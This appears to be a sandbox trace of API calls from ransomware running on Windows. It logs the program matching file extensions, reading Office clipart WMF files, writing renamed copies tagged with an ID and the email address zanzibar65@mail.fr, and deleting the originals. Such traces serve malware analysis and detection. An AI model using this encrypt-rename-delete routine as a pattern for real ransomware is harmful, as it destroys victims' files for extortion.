[0272.254] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0272.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0272.254] lstrlenW (lpString=".doc") returned 4 [0272.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.254] lstrlenW (lpString=".docx") returned 5 [0272.254] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.254] lstrlenW (lpString=".pdf") returned 4 [0272.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.254] lstrlenW (lpString=".xls") returned 4 [0272.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.254] lstrlenW (lpString=".xlsx") returned 5 [0272.254] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.254] lstrlenW (lpString=".ppt") returned 4 [0272.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0272.254] lstrlenW (lpString=".zip") returned 4 [0272.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.255] lstrlenW (lpString=".rar") returned 4 [0272.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.255] lstrlenW (lpString=".bz2") returned 4 [0272.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.255] lstrlenW (lpString=".7z") returned 3 [0272.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0272.255] lstrlenW (lpString=".dbf") returned 4 [0272.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0272.255] lstrlenW (lpString=".1cd") returned 4 [0272.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0272.255] lstrlenW (lpString=".jpg") returned 4 [0272.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.255] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0272.255] lstrlenW (lpString="EN00397_.WMF") returned 12 [0272.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0272.255] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=17308) returned 1 [0272.256] CloseHandle (hObject=0x384) returned 1 [0272.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf")) returned 0x20 [0272.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0272.256] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.256] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0272.256] GetLastError () returned 0x0 [0272.256] ReadFile (in: hFile=0x384, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x439c, lpOverlapped=0x0) returned 1 [0272.259] WriteFile (in: hFile=0x2f0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x43a0, lpOverlapped=0x0) returned 1 [0272.260] ReadFile (in: hFile=0x384, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0272.260] WriteFile (in: hFile=0x2f0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.260] SetEndOfFile (hFile=0x2f0) returned 1 [0272.260] CloseHandle (hObject=0x2f0) returned 1 [0272.261] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.261] SetEndOfFile (hFile=0x384) returned 1 [0272.264] CloseHandle (hObject=0x384) returned 1 [0272.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf")) returned 1 [0272.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0272.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0272.289] lstrlenW (lpString=".doc") returned 4 [0272.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.289] lstrlenW (lpString=".docx") returned 5 [0272.289] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.289] lstrlenW (lpString=".pdf") returned 4 [0272.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.289] lstrlenW (lpString=".xls") returned 4 [0272.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.289] lstrlenW (lpString=".xlsx") returned 5 [0272.289] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.290] lstrlenW (lpString=".ppt") returned 4 [0272.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0272.290] lstrlenW (lpString=".zip") returned 4 [0272.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.290] lstrlenW (lpString=".rar") returned 4 [0272.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.290] lstrlenW (lpString=".bz2") returned 4 [0272.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.290] lstrlenW (lpString=".7z") returned 3 [0272.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0272.290] lstrlenW (lpString=".dbf") returned 4 [0272.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0272.290] lstrlenW (lpString=".1cd") returned 4 [0272.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0272.290] lstrlenW (lpString=".jpg") returned 4 [0272.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0272.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0272.290] lstrlenW (lpString=".doc") returned 4 [0272.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.291] lstrlenW (lpString=".docx") returned 5 [0272.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.291] lstrlenW (lpString=".pdf") returned 4 [0272.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.291] lstrlenW (lpString=".xls") returned 4 [0272.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.291] lstrlenW (lpString=".xlsx") returned 5 [0272.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.291] lstrlenW (lpString=".ppt") returned 4 [0272.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0272.291] lstrlenW (lpString=".zip") returned 4 [0272.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.291] lstrlenW (lpString=".rar") returned 4 [0272.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.291] lstrlenW (lpString=".bz2") returned 4 [0272.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.291] lstrlenW (lpString=".7z") returned 3 [0272.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0272.291] lstrlenW (lpString=".dbf") returned 4 [0272.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0272.291] lstrlenW (lpString=".1cd") returned 4 [0272.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0272.291] lstrlenW (lpString=".jpg") returned 4 [0272.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.291] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0272.292] lstrlenW (lpString="FD00074_.WMF") returned 12 [0272.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0272.292] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=17850) returned 1 [0272.292] CloseHandle (hObject=0x2f8) returned 1 [0272.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x20 [0272.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0272.293] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.293] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.293] GetLastError () returned 0x0 [0272.293] ReadFile (in: hFile=0x2f8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x45ba, lpOverlapped=0x0) returned 1 [0272.295] WriteFile (in: hFile=0x37c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x45c0, lpOverlapped=0x0) returned 1 [0272.296] ReadFile (in: hFile=0x2f8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0272.296] WriteFile (in: hFile=0x37c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.296] SetEndOfFile (hFile=0x37c) returned 1 [0272.297] CloseHandle (hObject=0x37c) returned 1 [0272.297] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.297] SetEndOfFile (hFile=0x2f8) returned 1 [0272.300] CloseHandle (hObject=0x2f8) returned 1 [0272.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf")) returned 1 [0272.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0272.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0272.301] lstrlenW (lpString=".doc") returned 4 [0272.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.301] lstrlenW (lpString=".docx") returned 5 [0272.301] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.301] lstrlenW (lpString=".pdf") returned 4 [0272.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.301] lstrlenW (lpString=".xls") returned 4 [0272.301] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.301] lstrlenW (lpString=".xlsx") returned 5 [0272.301] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.301] lstrlenW (lpString=".ppt") returned 4 [0272.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0272.301] lstrlenW (lpString=".zip") returned 4 [0272.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.301] lstrlenW (lpString=".rar") returned 4 [0272.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.301] lstrlenW (lpString=".bz2") returned 4 [0272.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.301] lstrlenW (lpString=".7z") returned 3 [0272.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0272.302] lstrlenW (lpString=".dbf") returned 4 [0272.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0272.302] lstrlenW (lpString=".1cd") returned 4 [0272.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0272.302] lstrlenW (lpString=".jpg") returned 4 [0272.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0272.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0272.302] lstrlenW (lpString=".doc") returned 4 [0272.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.302] lstrlenW (lpString=".docx") returned 5 [0272.302] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.302] lstrlenW (lpString=".pdf") returned 4 [0272.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.302] lstrlenW (lpString=".xls") returned 4 [0272.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.302] lstrlenW (lpString=".xlsx") returned 5 [0272.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.302] lstrlenW (lpString=".ppt") returned 4 [0272.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0272.303] lstrlenW (lpString=".zip") returned 4 [0272.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.303] lstrlenW (lpString=".rar") returned 4 [0272.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.303] lstrlenW (lpString=".bz2") returned 4 [0272.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.303] lstrlenW (lpString=".7z") returned 3 [0272.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0272.303] lstrlenW (lpString=".dbf") returned 4 [0272.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0272.303] lstrlenW (lpString=".1cd") returned 4 [0272.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0272.303] lstrlenW (lpString=".jpg") returned 4 [0272.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.303] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0272.303] lstrlenW (lpString="FD00076_.WMF") returned 12 [0272.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0272.304] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=11994) returned 1 [0272.304] CloseHandle (hObject=0x2f8) returned 1 [0272.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x20 [0272.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0272.304] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.304] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.304] GetLastError () returned 0x0 [0272.304] ReadFile (in: hFile=0x2f8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x2eda, lpOverlapped=0x0) returned 1 [0272.306] WriteFile (in: hFile=0x37c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x2ee0, lpOverlapped=0x0) returned 1 [0272.307] ReadFile (in: hFile=0x2f8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0272.307] WriteFile (in: hFile=0x37c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.307] SetEndOfFile (hFile=0x37c) returned 1 [0272.597] CloseHandle (hObject=0x37c) returned 1 [0272.598] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.598] SetEndOfFile (hFile=0x2f8) returned 1 [0272.625] CloseHandle (hObject=0x2f8) returned 1 [0272.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf")) returned 1 [0272.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0272.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0272.672] lstrlenW (lpString=".doc") returned 4 [0272.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.673] lstrlenW (lpString=".docx") returned 5 [0272.673] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.673] lstrlenW (lpString=".pdf") returned 4 [0272.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.673] lstrlenW (lpString=".xls") returned 4 [0272.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.673] lstrlenW (lpString=".xlsx") returned 5 [0272.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.673] lstrlenW (lpString=".ppt") returned 4 [0272.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0272.673] lstrlenW (lpString=".zip") returned 4 [0272.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.673] lstrlenW (lpString=".rar") returned 4 [0272.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.673] lstrlenW (lpString=".bz2") returned 4 [0272.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.673] lstrlenW (lpString=".7z") returned 3 [0272.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0272.673] lstrlenW (lpString=".dbf") returned 4 [0272.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0272.673] lstrlenW (lpString=".1cd") returned 4 [0272.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0272.673] lstrlenW (lpString=".jpg") returned 4 [0272.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0272.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0272.673] lstrlenW (lpString=".doc") returned 4 [0272.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.673] lstrlenW (lpString=".docx") returned 5 [0272.673] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.674] lstrlenW (lpString=".pdf") returned 4 [0272.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 